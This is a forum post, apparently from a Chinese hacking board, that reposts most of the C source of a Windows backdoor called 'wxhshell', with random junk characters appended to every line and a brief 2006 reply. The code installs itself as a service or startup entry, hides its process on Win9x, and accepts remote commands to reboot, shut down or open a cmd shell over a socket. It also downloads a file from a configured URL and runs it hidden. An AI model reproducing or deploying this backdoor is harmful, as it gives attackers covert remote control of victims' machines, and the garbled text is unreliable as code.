  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0K`#>}W#X  
  } gMWjk7  
  else { /OLFcxEWh  
cx&>#8s&  
    switch(cmd[0]) { }o(zj=7  
  Ye2 {f"F  
  // 帮助 _AAaC_q  
  case '?': { !g5xq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zO).T M_  
    break; x4;"!Kq\  
  } ?[g=F <r  
  // 安装 |iE50,  
  case 'i': { dQV;3^iUY  
    if(Install()) YQHw1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tn*9lj4  
    else pWK(z[D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5-aj 2>=7  
    break; j|U#)v/  
    } 8ZM&(Lz7u  
  // 卸载 rH_\ d?b  
  case 'r': { nqI@Y)  
    if(Uninstall()) Cd,jDPrw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FbS|~Rp~  
    else + +M$#Er&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'ig&$fzb  
    break; @k,z:~[C=  
    } /Z~<CbKKl  
  // 显示 wxhshell 所在路径 H`1{_  
  case 'p': { W+UfGk}A  
    char svExeFile[MAX_PATH]; 6-z%633DL  
    strcpy(svExeFile,"\n\r"); xTj|dza  
      strcat(svExeFile,ExeFile); =e9>FWf>  
        send(wsh,svExeFile,strlen(svExeFile),0); v!<gY m&  
    break; 7"sD5N/>uh  
    } /67 h&j  
  // 重启 g.BdlVB\  
  case 'b': { q"\Z-D0B4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7gj4j^a^]{  
    if(Boot(REBOOT)) AgS 7J(^&3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4]?<hH9  
    else { a%kQl^I4  
    closesocket(wsh); gp>3I!bo[K  
    ExitThread(0); g)#W>.Asd  
    } (7*%K&x  
    break; ad*m%9Y1Q  
    } Fq |Ni$  
  // 关机 B:'J `M"N  
  case 'd': { 41`n1:-]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R=gb'  
    if(Boot(SHUTDOWN)) lR )67a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  .E`\MtA  
    else { |bTPtrT8  
    closesocket(wsh); G`cHCP_n  
    ExitThread(0); ZA0mz 65  
    } vHyC;4'  
    break; zHA!%>%'  
    } R3x3]]D  
  // 获取shell jrr EAp  
  case 's': { W>) M5t4i  
    CmdShell(wsh); K^1oDP  
    closesocket(wsh); 2bJQTk_S  
    ExitThread(0); tSc Pa,(  
    break; rp3V3]EE  
  } 0 ?s|i :  
  // 退出 %j.0G`x9 +  
  case 'x': { ',9V|jvK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 't:; irLW.  
    CloseIt(wsh); OI|[roMK  
    break; b$N 2z  
    } K"|l@Q[  
  // 离开 A)bWcB}U  
  case 'q': { Y<N5# );f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 01wX`"I  
    closesocket(wsh); mk.9OhYY  
    WSACleanup(); EMY/~bQW  
    exit(1); idLWe9gC  
    break; .nrMfl_  
        } 8I lunJ  
  } aS{|uE]  
  } e>6y%v;  
wjH zE  
  // 提示信息 g%sluT[#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C'9Cr}cZ.  
} ??^5;P{yx  
  } GWZ }7ake  
uxXBEq;  
  return; J%u=Ucdh  
} 0(eB ZdRO  
a L} % 2  
// shell模块句柄 2;k*@k-t  
int CmdShell(SOCKET sock) Sdp&jZY  
{ x-$&g*<  
STARTUPINFO si; VJeu 8ZJ.  
ZeroMemory(&si,sizeof(si)); 94h]~GqNi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -.1y(k^4E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '*K:  lx  
PROCESS_INFORMATION ProcessInfo; }tRm]w  
char cmdline[]="cmd"; 2L3)#22m*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J?V?R  
  return 0; ``,fodA8  
} gZN8!#h}B  
9B{k , 1  
// 自身启动模式 h{%nC>m;  
int StartFromService(void) e^8 O_VB  
{ c23oCfB>  
typedef struct V LOO8N[o  
{ }q_<_lQ  
  DWORD ExitStatus; 2M.fLQ?  
  DWORD PebBaseAddress; Kz~ps 5  
  DWORD AffinityMask; j]{_s"O  
  DWORD BasePriority; gH$ Mr  
  ULONG UniqueProcessId; _GV:HOBi  
  ULONG InheritedFromUniqueProcessId; 6V$Avg\6\  
}   PROCESS_BASIC_INFORMATION; N(; 1o.~  
S=MEG+Ad  
PROCNTQSIP NtQueryInformationProcess; ?:vv50  
RiDJ> 6S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .CL[_;}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q A< Rhv,  
Z/W:97M  
  HANDLE             hProcess; x3hB5p$q  
  PROCESS_BASIC_INFORMATION pbi; .!Oo|m`V@  
nL5cK:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C uFSeRe  
  if(NULL == hInst ) return 0; UbXh,QEG*  
5&QJ7B,!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pV9IHs}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &q3"g*q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FEW14 U'O  
 DGRXd#  
  if (!NtQueryInformationProcess) return 0; fa-IhB1!K  
qB~rQPa  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,kiv>{  
  if(!hProcess) return 0; y`VyQWW  
),0g~'I~D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d?ex,f.  
gR&Q3jlIV  
  CloseHandle(hProcess); 0pK=o"^?@  
T5R-B=YWu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;ic3).H  
if(hProcess==NULL) return 0; |LRedD7n  
6^V=?~a&z  
HMODULE hMod; pM+ AjPr  
char procName[255]; 2a-w% (K  
unsigned long cbNeeded; )Lk639r  
%>yG+Od5Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  w^?>e;/\  
/$ w%Q-p  
  CloseHandle(hProcess); Ok|*!!T  
4;w;'3zq  
if(strstr(procName,"services")) return 1; // 以服务启动 sQ=]NF)\  
hB "fhX  
  return 0; // 注册表启动 {Bk[rCl  
} P60~ V"/P  
2V"B:X\  
// 主模块 A}BVep@D  
int StartWxhshell(LPSTR lpCmdLine) +O"!qAiK  
{ u7Y WnD  
  SOCKET wsl;  .t{MIC  
BOOL val=TRUE; O [\i E5+$  
  int port=0; |WQBDB`W  
  struct sockaddr_in door; ]q;Emy  
@fHi\W2JG  
  if(wscfg.ws_autoins) Install(); PxTwPl  
u#Pa7_zBj]  
port=atoi(lpCmdLine); sr r :!5  
|v`AA?@{8  
if(port<=0) port=wscfg.ws_port; *U^6u/iH  
Za/-i"U  
  WSADATA data; bENdMH";  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bZ?v-fn\D,  
+M./@U*g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c#XXp"7k2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j:^#rFD4?  
  door.sin_family = AF_INET; 9`T)@Uj2n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HD@$t)mn  
  door.sin_port = htons(port); )YYf1o[+  
)#EGTRdo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g%ndvdb m  
closesocket(wsl); H7?Vybg~  
return 1; ++bf#qS<8D  
} v6[!o<@"a  
c%^7!FSg  
  if(listen(wsl,2) == INVALID_SOCKET) { 7G:s2432  
closesocket(wsl); AhCW'.  
return 1; }v@dL3{f  
} T]R|qlZ  
  Wxhshell(wsl); 5/q}`T9i%7  
  WSACleanup(); cCSs  
fWCo;4<5?  
return 0; x5|I  
%G3h?3  
} FG PB:  
w ~.f  
// 以NT服务方式启动 wa(8Hl|Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '@cANGg7[  
{ kj|6iG  
DWORD   status = 0; 6 +Sxr  
  DWORD   specificError = 0xfffffff; z F_M*8=  
&LmJ!^#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4ae`pAu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Eav[/cU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2`AY~i9  
  serviceStatus.dwWin32ExitCode     = 0; ucuSe!IcX  
  serviceStatus.dwServiceSpecificExitCode = 0; :lX!\(E2  
  serviceStatus.dwCheckPoint       = 0; H;D>|q  
  serviceStatus.dwWaitHint       = 0; Qwz}B  
)bA;?i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Bt[/0>i  
  if (hServiceStatusHandle==0) return; \@-@Y  
f"B3,6m  
status = GetLastError(); #c!*</  
  if (status!=NO_ERROR) b[__1E9v'  
{ %&$Tz1"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !5wIIS:FT  
    serviceStatus.dwCheckPoint       = 0; ' WMh8)  
    serviceStatus.dwWaitHint       = 0; eiuSvyY  
    serviceStatus.dwWin32ExitCode     = status; E0BMv/r8b  
    serviceStatus.dwServiceSpecificExitCode = specificError; jAGTD I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'UkxS b  
    return; "C?#SO B  
  } BmBj7  
g-qP;vy@"q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &d9{k5/+\  
  serviceStatus.dwCheckPoint       = 0; w _u\pa  
  serviceStatus.dwWaitHint       = 0; rJd,Rdt.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NnO~dRx{  
} u=Fv 2  
:fKl]XO  
// 处理NT服务事件,比如:启动、停止 <i<J^-W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :KH g&ZX7  
{ Q.bXM?V)  
switch(fdwControl) A_n7w  
{ Pih tf4i  
case SERVICE_CONTROL_STOP: !y#"l$"xK  
  serviceStatus.dwWin32ExitCode = 0; < 3(LWxw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uvgdY  
  serviceStatus.dwCheckPoint   = 0; h}-3\8 >  
  serviceStatus.dwWaitHint     = 0; 1ofKt=|=  
  { |o,YCzy|5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SD#]$v  
  } K*\' .~[6  
  return; 909?_ v  
case SERVICE_CONTROL_PAUSE: 6.FY0.i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MU>k,:[  
  break; ::o lN  
case SERVICE_CONTROL_CONTINUE: < |e,05aM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p$SX  
  break; r)qnl9?;`]  
case SERVICE_CONTROL_INTERROGATE: "vA}FV%tRq  
  break; jnd[6v=C7-  
}; <DpevoF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >PB4L_1  
} <CRP ^_c  
QU#w%|  
// 标准应用程序主函数 b>_o xK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) siXr;/n"  
{ YgKZ#?*  
~L]|?d"  
// 获取操作系统版本 |].pDwgt  
OsIsNt=GetOsVer(); \ Fl+\?~D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h"lX 4  
$GYm6x\4  
  // 从命令行安装 ko1J094Y%  
  if(strpbrk(lpCmdLine,"iI")) Install();  0,r}o  
EQ2#/>  
  // 下载执行文件 PiYY6i0  
if(wscfg.ws_downexe) { 6\L0mcXR!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z25lZI" X`  
  WinExec(wscfg.ws_filenam,SW_HIDE); %?LOs H   
} aGK?x1_  
@*>@AFnf\Z  
if(!OsIsNt) { 4f@o mAM  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^<;V]cY`  
HideProc(); ,_|]Ufr!a  
StartWxhshell(lpCmdLine); mt9 .x  
} Pf*^ZB%  
else s~X+*@.  
  if(StartFromService()) Mc#*wEo)8  
  // 以服务方式启动 _,q)hOI  
  StartServiceCtrlDispatcher(DispatchTable); AoY -\E  
else X7[^s $VK  
  // 普通方式启动 YNYx>Ue  
  StartWxhshell(lpCmdLine); pa#d L!J  
5>VY LI  
return 0; dG@"!!,  
}
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只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
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